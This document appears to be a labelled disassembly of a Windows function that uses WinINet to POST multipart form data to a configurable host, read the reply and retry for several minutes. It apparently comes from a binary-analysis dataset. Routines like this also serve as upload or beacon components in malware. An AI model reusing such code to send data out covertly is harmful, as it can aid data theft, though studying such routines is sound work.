Function at 0x10001980
Capabilities:
Check http status code
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub esp, 0x30
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x493e0
mov ebx, dword [esp + 0x44]
mov dword [esp + 0x3c], eax
mov esi, dword [ebx + 0x10]
push 0
push 0
push 0
push 1
push dword [0x1000d44c]
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x18], eax
test eax, eax
je 0x10001de7
push 4
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], 0x4e20
push ecx
push 2
push eax
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [esp + 0x24]
push eax
push 5
push dword [esp + 0x24]
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [esp + 0x24]
push eax
push 6
push dword [esp + 0x24]
call dword [sym.imp.WININET.dll_InternetSetOptionA]
cmp dword [ebx + 0x10], 0
mov ecx, 0x1bb
push 0
push 0
push 3
push 0
mov eax, 0x50
push 0
cmovne eax, ecx
movzx eax, ax
push eax
push dword [ebx + 4]
push dword [esp + 0x34]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ecx, eax
mov dword [esp + 0x38], ecx
test ecx, ecx
je 0x10001dd6
push 0
test esi, esi
mov edx, 0x842a0000
mov eax, 0x84aa3300
cmove eax, edx
push eax
push 0
push 0
push str.HTTP_1.1
push dword [ebx + 0xc]
push str.POST
push ecx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
mov dword [esp + 0x24], ebx
test ebx, ebx
je 0x10001dc6
push 0x800
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [esp + 0x14], esi
test esi, esi
je 0x10001dbb
push str.Connection:_close_r_n
push 0x100096a4
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0xa0000000
push eax
push esi
push ebx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
xor esi, esi
xor ebp, ebp
mov dword [esp + 0x2c], esi
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
push 0x800
push 8
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x30], eax
test eax, eax
je 0x10001b8d
push dword [esp + 0x48]
mov ebp, eax
push ebx
push str.___________lu_r_nContent_Disposition:_form_data__name__s__r_nContent_Type:_text_plain_r_nContent_Transfer_Encoding:_binary_r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, eax
mov eax, ebp
inc eax
push ebx
add eax, esi
push str.___________lu___r_n_r_n
push eax
mov dword [esp + 0x48], eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [esp + 0x60]
mov ecx, eax
mov dword [esp + 0x44], ecx
mov eax, dword [edx + 0x2c]
add eax, dword [edx + 0x24]
add eax, dword [edx + 0x1c]
add eax, ecx
add eax, esi
push eax
push str.Content_Length:__lu_r_n
push dword [esp + 0x38]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
push 0xa0000000
push eax
push dword [esp + 0x1c]
push dword [esp + 0x30]
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
push ebx
mov ebx, dword [esp + 0x18]
push str.Content_Type:_multipart_form_data__boundary_________lu_r_n
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0xa0000000
push eax
push ebx
mov ebx, dword [esp + 0x30]
push ebx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
jmp 0x10001b91
mov ebx, dword [esp + 0x24]
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestExA]
test eax, eax
je 0x10001d7a
lea eax, [esp + 0x24]
mov dword [esp + 0x24], esi
push eax
push ebp
push ebx
call fcn.10004ce0
add esp, 0xc
cmp eax, esi
jne 0x10001c3d
mov ebp, dword [esp + 0x44]
cmp dword [ebp + 0x1c], 0
lea esi, [ebp + 0x1c]
je 0x10001bdd
push esi
push dword [ebp + 0x18]
push ebx
call fcn.10004ce0
add esp, 0xc
cmp eax, dword [esi]
jne 0x10001c3d
cmp dword [ebp + 0x24], 0
lea esi, [ebp + 0x24]
je 0x10001bf7
push esi
push dword [ebp + 0x20]
push ebx
call fcn.10004ce0
add esp, 0xc
cmp eax, dword [esi]
jne 0x10001c3d
cmp dword [ebp + 0x2c], 0
lea esi, [ebp + 0x2c]
je 0x10001c11
push esi
push dword [ebp + 0x28]
push ebx
call fcn.10004ce0
add esp, 0xc
cmp eax, dword [esi]
jne 0x10001c3d
mov esi, dword [esp + 0x28]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x30]
mov dword [esp + 0x30], esi
push ebx
call fcn.10004ce0
mov ecx, dword [esp + 0x28]
add esp, 0xc
cmp eax, esi
mov eax, 1
cmove ecx, eax
mov dword [esp + 0x1c], ecx
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpEndRequestA]
cmp dword [esp + 0x1c], 0
je 0x10001d92
push 0x2000
push 8
xor edi, edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
test ebp, ebp
je 0x10001d71
push esi
lea eax, [esp + 0x2c]
mov dword [esp + 0x30], esi
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x30], 4
push eax
push 0x20000013
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10001d61
cmp dword [esp + 0x2c], 0xc8
jne 0x10001d61
lea eax, [esp + 0x10]
mov dword [esp + 0x10], esi
push eax
push 0x1fff
push ebp
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10001d61
nop
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10001d61
cmp edi, 0x100000
ja 0x10001d48
inc eax
add eax, edi
push eax
test esi, esi
jne 0x10001cfc
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x10001d10
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x10001d4c
push dword [esp + 0x10]
mov esi, eax
push ebp
lea eax, [esi + edi]
push eax
call sub.NTDLL.dll_RtlMoveMemory
add edi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push 0x1fff
push ebp
mov byte [esi + edi], 0
push ebx
mov dword [esp + 0x20], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10001cd0
jmp 0x10001d61
test esi, esi
je 0x10001d5d
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapFree]
call eax
xor esi, esi
xor edi, edi
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x44]
mov dword [eax + 0x30], esi
jmp 0x10001d92
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2f7d
jne 0x10001d92
mov eax, dword [esp + 0x44]
mov dword [eax + 0x10], 0
mov eax, dword [esp + 0x30]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x10001dac
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x14]
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
jmp 0x10001dcc
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [esp + 0x38]
call esi
mov ebx, dword [esp + 0x44]
push dword [esp + 0x18]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [esp + 0x1c], 0
jne 0x10001e03
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [esp + 0x3c]
jae 0x10001e03
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100019a6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret